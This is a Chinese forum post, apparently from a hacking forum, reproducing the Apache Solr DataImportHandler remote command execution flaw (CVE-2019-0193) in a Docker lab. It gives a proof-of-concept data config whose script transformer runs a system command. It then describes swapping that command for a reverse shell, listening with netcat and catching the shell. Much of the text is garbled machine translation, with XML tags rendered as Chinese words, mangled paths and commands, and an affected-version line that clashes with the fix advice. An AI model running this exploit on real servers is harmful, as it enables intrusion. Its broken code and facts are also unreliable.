H

Apache Solr 远程命令执行漏洞复现

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

Apache Solr 远程命令执行漏洞​

2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重。漏洞危害评级为严重。
此次漏洞出现在apache solr的dataimporthandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能
360cert判断漏洞等级为高,建议apache solr用户及时升级以防止攻击者攻击。

POC​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Dataconfig
脚本![cdata [
函数f1(row){
var run=java.lang.runtime.getRuntime()。exec('touch /tmp /success');
row.put('name','hello world!');
返回行;
}
]]/脚本
文档
实体名称='person'transformer='script:f1'query='select * from person'pk='id'
字段列='id'名称='id' /
字段列='名称='名称' /
/实体
/文档
/dataconfig

漏洞成因​


用户在solrconfig.xml文件中设置了dataimporthandler,开启了dataimport功能。
dataImporthandler模块允许用户自己包含脚本,来进行配置。
攻击者可以通过构造恶意的脚本交由转换器进行解析,在,solr解析的过程中并未对用户的输入做检查,可导致攻击者远程在solr服务器上执行命令。

环境搭建​

solr部署​

本环境采用码头部署
拉图像:Docker Pull Solr: 8.1.1
:docker Run - Name Solr -D -P 8983:8983 -T Solr:8.1.1.1
访问http://ip:8983/,Apache Solr框架部署完毕
20190807203033.png-water_print

开启DataImportHandler插件​

新建core:​

20190807203222.png-water_print

单击添加核心,然后Solr系统报告错误。
:docker exec -it - 用户root solr /bin /bash,进入solr容器。
输入容器后,执行:
1
2
3
4
5
cp/opt/solr-8.1.1/server/solr/configsets/_default/conf/var/var/solr/data/new_core/new_core/new_core/
cp/opt/solr/dist/solr-dataimporthandler-8.1.1.1.jar/opt/opt/solr/server/solr-webapp/webapp/webapp/web-inf/lib
cp/opt/solr/dist/solr-dataimporthandler-extras-8.1.1.1.1.jar/opt/opt/solr/server/solr/solr webapp/webapp/webapp/web-inf/lib
cd/var/solr/data/new_core/conf/conf/
vim solrconfig.xml

DataImportHandler 插件配置​

将下面的XML添加到solrconfig.xml中
1
2
3
4
5
6
requestHandler名称='/dataimport'
class='org.apache.solr.handler.dataimport.dataimporthandler'
lst name='默认值'
str name='config'data-config.xml/str
/lst
/requestHandler
注意:XML格式必须遵循上述格式,否则将报告错误!
执行vim data-config.xml并将以下XML保存到文件:
1
2
3
4
5
6
7
8
9
Dataconfig
dataSource驱动程序='com.mysql.jdbc.driver'url='jdbc:mysql: //ip:3306/securityTest'user='und
文档
实体名称='person'query='select *从人'pk='id'
字段列='id'名称='id' /
字段列='名称='名称' /
/实体
/文档
/dataconfig
然后将mysql-connector-java-5.1.48.jar放入/opt/opt/solr/server/solr/solr-webapp/webapp/webapp/web-app/web-inf/lib文件夹中

重启 solr​

然后重新启动solr:/opt/solr/bin/solr重新启动
在这一点上,已经建立了脆弱性环境,成功结构的屏幕截图如下:
20190807204045.png-water_print

漏洞测试​

访问管理页面​

浏览器访问:http://ip3:8983/

开启 Debug 模式​

将POC复制为配置:
20190807204426.png-water_print

20190807204958.png-water_print

受害机器执行的命令可以在标记的地方更换。本文以篮板外壳为例。

开启监听​

NC -LP 4567

执行命令​

单击使用此配置执行
20190807205043.png-water_print

如果执行成功,可以发现外壳已经成功反弹:
20190807205235.png-water_print

影响范围​

Apache Solr 8.2.0

修复建议​

将Apache Solr升级到8.2.0或以后
 
后退
顶部